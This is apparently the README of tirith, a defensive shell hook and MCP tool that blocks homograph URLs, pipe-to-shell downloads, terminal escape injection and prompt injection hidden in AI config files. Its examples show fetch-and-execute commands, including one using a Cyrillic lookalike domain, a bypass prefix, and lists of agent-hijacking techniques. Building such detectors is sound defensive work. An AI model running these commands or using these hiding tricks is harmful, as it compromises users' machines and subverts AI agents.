Your browser would catch this. Your terminal won't.
Can you spot the difference?
curl -sSL https://install.example-cli.dev | bash # safe
curl -sSL https://іnstall.example-clі.dev | bash # compromised
You can't. Neither can your terminal. Both і characters are Cyrillic (U+0456), not Latin i. The second URL resolves to an attacker's server. The script executes before you notice.
Browsers solved this years ago. Terminals still render Unicode, ANSI escapes, and invisible characters without question.
Tirith stands at the gate.
brew install sheeki03/tap/tirithThen activate in your shell profile:
# zsh
eval "$(tirith init --shell zsh)"
# bash
eval "$(tirith init --shell bash)"
# fish
tirith init --shell fish | sourceThat's it. Every command you run is now guarded. Zero friction on clean input. Sub-millisecond overhead. You forget it's there until it saves you.
Also available via npm, cargo, mise, apt/dnf, and more.
Homograph attack — blocked before execution:
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname — Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
The command never executes.
Pipe-to-shell with clean URL — warned, not blocked:
$ curl -fsSL https://get.docker.com | sh
tirith: WARNING
[MEDIUM] pipe_to_interpreter — Download piped to interpreter
Consider downloading first and reviewing.
Warning prints to stderr. Command still runs.
Normal commands — invisible:
$ git status
$ ls -la
$ docker compose up -d
Nothing. Zero output. You forget tirith is running.
66 detection rules across 11 categories.
| Category | What it stops |
|---|---|
| Homograph attacks | Cyrillic/Greek lookalikes in hostnames, punycode domains, mixed-script labels, lookalike TLDs, confusable domains |
| Terminal injection | ANSI escape sequences, bidi overrides, zero-width characters, unicode tags, invisible math operators, variation selectors |
| Pipe-to-shell | curl | bash, wget | sh, httpie | sh, xh | sh, python <(curl ...), eval $(wget ...) — every source-to-sink pattern |
| Command safety | Dotfile overwrites, archive extraction to sensitive paths, cloud metadata endpoint access, private network access |
| Insecure transport | Plain HTTP piped to shell, curl -k, disabled TLS verification, shortened URLs hiding destinations |
| Environment | Proxy hijacking, sensitive env exports, code injection via env, interpreter hijack, shell injection env |
| Config file security | Config injection, suspicious indicators, non-ASCII/invisible unicode in configs, MCP server security (insecure/untrusted/duplicate/permissive) |
| Ecosystem threats | Git clone typosquats, untrusted Docker registries, pip/npm URL installs, web3 RPC endpoints, vet-not-configured |
| Path analysis | Non-ASCII paths, homoglyphs in paths, double-encoding |
| Rendered content | Hidden CSS/color content, hidden HTML attributes, markdown/HTML comments with instructions |
| Cloaking detection | Server-side cloaking (bot vs browser), clipboard hidden content, PDF hidden text |
Tirith protects AI coding agents at every layer — from the configs they read to the commands they execute.
Run tirith mcp-server or use tirith setup <tool> --with-mcp to register tirith as an MCP server. AI agents can call these tools before taking action:
| Tool | What it does |
|---|---|
tirith_check_command |
Analyze shell commands for pipe-to-shell, homograph URLs, env injection |
tirith_check_url |
Score URLs for homograph attacks, punycode tricks, shortened URLs, raw IPs |
tirith_check_paste |
Check pasted content for ANSI escapes, bidi controls, zero-width chars |
tirith_scan_file |
Scan a file for hidden content, invisible Unicode, config poisoning |
tirith_scan_directory |
Recursive scan with AI config file prioritization |
tirith_verify_mcp_config |
Validate MCP configs for insecure servers, shell injection in args, wildcard tools |
tirith_fetch_cloaking |
Detect server-side cloaking (different content for bots vs browsers) |
tirith scan detects prompt injection and hidden payloads in AI config files. It prioritizes and scans 50+ known AI config file patterns:
.cursorrules,.windsurfrules,.clinerules,CLAUDE.md,copilot-instructions.md.claude/settings, agents, skills, plugins, rules.cursor/,.vscode/,.windsurf/,.cline/,.continue/,.roo/,.codex/configsmcp.json,.mcp.json,mcp_settings.json.github/copilot-instructions.md,.github/agents/*.md
What it catches in configs:
- Prompt injection — skill activation triggers, permission bypass attempts, safety dismissal, identity reassignment, cross-tool override instructions
- Invisible Unicode — zero-width characters, bidi controls, soft hyphens, Unicode tags hiding instructions
- MCP config issues — insecure HTTP connections, raw IP servers, shell metacharacters in args, duplicate server names, wildcard tool access
Hidden content detection
Detects content invisible to humans but readable by AI in HTML, Markdown, and PDF:
- CSS hiding —
display:none,visibility:hidden,opacity:0,font-size:0, off-screen positioning - Color hiding — white-on-white text, similar foreground/background (contrast ratio < 1.5:1)
- HTML/Markdown comments — long comments hiding instructions for AI agents
- PDF hidden text — sub-pixel rendered text (font-size < 1px) invisible to readers but parseable by LLMs
tirith fetch compares server responses across 6 user-agents (Chrome, ClaudeBot, ChatGPT-User, PerplexityBot, Googlebot, curl) to detect when servers serve different content to AI bots vs browsers.
Homebrew:
brew install sheeki03/tap/tirithDebian / Ubuntu (.deb):
Download from GitHub Releases, then:
sudo dpkg -i tirith_*_amd64.debFedora / RHEL / CentOS 9+ (.rpm):
Download from GitHub Releases, then:
sudo dnf install ./tirith-*.rpmArch Linux (AUR):
yay -S tirith
# or: paru -S tirithNix:
nix profile install github:sheeki03/tirith
# or try without installing: nix run github:sheeki03/tirith -- --versionScoop:
scoop bucket add tirith https://github.com/sheeki03/scoop-tirith
scoop install tirithChocolatey (under moderation — pending approval):
choco install tirithnpm:
npm install -g tirithCargo:
cargo install tirithMise (official registry):
mise use -g tirithasdf:
asdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git
asdf install tirith latest
asdf global tirith latestDocker:
docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"Add to your shell profile (.zshrc, .bashrc, or config.fish):
eval "$(tirith init --shell zsh)" # in ~/.zshrc
eval "$(tirith init --shell bash)" # in ~/.bashrc
tirith init --shell fish | source # in ~/.config/fish/config.fish| Shell | Hook type | Tested on |
|---|---|---|
| zsh | preexec + paste widget | 5.8+ |
| bash | preexec (two modes) | 5.0+ |
| fish | fish_preexec event | 3.5+ |
| PowerShell | PSReadLine handler | 7.0+ |
In bash, enter mode is used by default with a startup health gate and runtime self-healing. SSH sessions automatically fall back to preexec mode for PTY compatibility. If enter mode detects a failure, it auto-degrades to preexec and persists the decision across shells. Unexpected tirith errors (crashes, OOM-kills) trigger a mixed fail-safe policy: bash degrades to preexec, other shells warn and execute, paste paths always discard. See troubleshooting for details.
Nix / Home-Manager: tirith must be in your $PATH — the shell hooks call tirith by name at runtime. Adding it to initContent alone is not enough.
home.packages = [ pkgs.tirith ];
programs.zsh.initContent = ''
eval "$(tirith init --shell zsh)"
'';Oh-My-Zsh:
git clone https://github.com/sheeki03/ohmyzsh-tirith \
${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith
# Add tirith to plugins in ~/.zshrc:
plugins=(... tirith)Use tirith setup <tool> for one-command configuration:
tirith setup claude-code --with-mcp # Claude Code + MCP server
tirith setup codex # OpenAI Codex
tirith setup cursor # Cursor
tirith setup vscode # VS Code
tirith setup windsurf # WindsurfFor manual configuration, see mcp/clients/ for per-tool guides.
Analyze a command without executing it. Useful for testing what tirith would flag.
$ tirith check -- curl -sSL https://іnstall.example-clі.dev \| bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname — Cyrillic і (U+0456) in hostnameReads from stdin and analyzes pasted content. The shell hook calls this automatically when you paste into the terminal — you don't need to run it manually.
Breaks down a URL's trust signals — TLS, domain age heuristics, known shorteners, Unicode analysis.
$ tirith score https://bit.ly/somethingByte-level comparison showing exactly where suspicious characters are hiding.
$ tirith diff https://exаmple.com
Position 3: expected 0x61 (Latin a) | got 0xd0 0xb0 (Cyrillic а)
Safe replacement for curl | bash. Downloads to a temp file, shows SHA256, runs static analysis, opens in a pager for review, and executes only after you confirm. Creates a receipt you can verify later.
$ tirith run https://get.docker.comTrack and verify scripts you've run through tirith run. Each execution creates a receipt with the script's SHA256 hash so you can audit what ran on your machine.
$ tirith receipt last # show the most recent receipt
$ tirith receipt list # list all receipts
$ tirith receipt verify <sha256> # verify a specific receiptExplains the last rule that triggered — what it detected, why it matters, and what to do about it.
Scan files and directories for hidden content, config poisoning, invisible Unicode, and MCP configuration issues. Supports SARIF output for CI integration.
$ tirith scan . # scan current directory
$ tirith scan --file .cursorrules # scan a specific file
$ tirith scan --ci --fail-on high # exit non-zero if findings meet threshold
$ tirith scan --sarif # SARIF 2.1.0 output for CI toolsCheck a URL for server-side cloaking — detects when a server returns different content to bots vs browsers.
$ tirith fetch https://example.com/install.shSnapshot files before risky operations, then roll back if something goes wrong.
$ tirith checkpoint create ~/.bashrc ~/.zshrc # snapshot before changes
$ tirith checkpoint list # list all checkpoints
$ tirith checkpoint diff <id> # show what changed
$ tirith checkpoint restore <id> # roll back
$ tirith checkpoint purge # clean up old checkpointsMCP gateway proxy that intercepts AI agent shell tool calls for security analysis before execution.
$ tirith gateway run --upstream-bin npx --upstream-arg mcp-server --config gateway.yaml
$ tirith gateway validate-config --config gateway.yamlOne-command setup for AI coding tools. Configures shell hooks, MCP server registration, and zshenv guards.
$ tirith setup claude-code --with-mcp # Claude Code + MCP server
$ tirith setup codex # OpenAI Codex
$ tirith setup cursor # Cursor
$ tirith setup vscode # VS Code
$ tirith setup windsurf # WindsurfAudit log management for compliance and analysis.
$ tirith audit export --format csv --since 2025-01-01
$ tirith audit stats --json
$ tirith audit report --format html --since 2025-01-01Prints the shell hook for your current shell. Add eval "$(tirith init)" to your shell profile to activate tirith. If you use multiple shells, you can force a specific one with tirith init --shell bash|zsh|fish.
Diagnostic check — shows detected shell, hook status, policy file location, and configuration. Run this if something isn't working.
Run tirith as an MCP server over JSON-RPC stdio. Used by AI coding tools for integrated security analysis.
- Offline by default —
check,paste,score,diff, andwhymake zero network calls. All detection runs locally. - No command rewriting — tirith never modifies what you typed
- No telemetry — no analytics, no crash reporting, no phone-home behavior
- No background processes — invoked per-command, exits immediately
- Network only when you ask —
run,fetch, andaudit report --uploadreach the network, but only on explicit invocation. Core detection never does.
Tirith uses a YAML policy file. Discovery order:
.tirith/policy.yamlin current directory (walks up to repo root)~/.config/tirith/policy.yaml
version: 1
allowlist:
- "get.docker.com"
- "sh.rustup.rs"
severity_overrides:
docker_untrusted_registry: CRITICAL
fail_mode: open # or "closed" for strict environmentsMore examples in docs/cookbook.md.
Bypass for the rare case you know exactly what you're doing:
TIRITH=0 curl -L https://something.xyz | bashThis is a standard shell per-command prefix — the variable only exists for that single command and does not persist in your session. Organizations can disable this entirely: allow_bypass_env: false in policy.
Local JSONL audit log at ~/.local/share/tirith/log.jsonl:
- Timestamp, action, rule ID, redacted command preview
- No full commands, environment variables, or file contents
Disable: export TIRITH_LOG=0
- Threat model — what tirith defends against and what it doesn't
- Cookbook — policy examples for common setups
- Troubleshooting — shell quirks, latency, false positives
- Compatibility — stable vs experimental surface
- Security policy — vulnerability reporting
- Uninstall — clean removal per shell and package manager
Every feature is available to everyone — no tiers, no feature gating. All 66 detection rules, the MCP server, config scanning, cloaking detection, and every command ship fully unlocked.
tirith is dual-licensed:
- AGPL-3.0-only: LICENSE-AGPL — free under copyleft terms
- Commercial: LICENSE-COMMERCIAL — if AGPL copyleft obligations don't work for your use case, contact contact@tirith.sh for alternative licensing
Third-party data attributions in NOTICE.
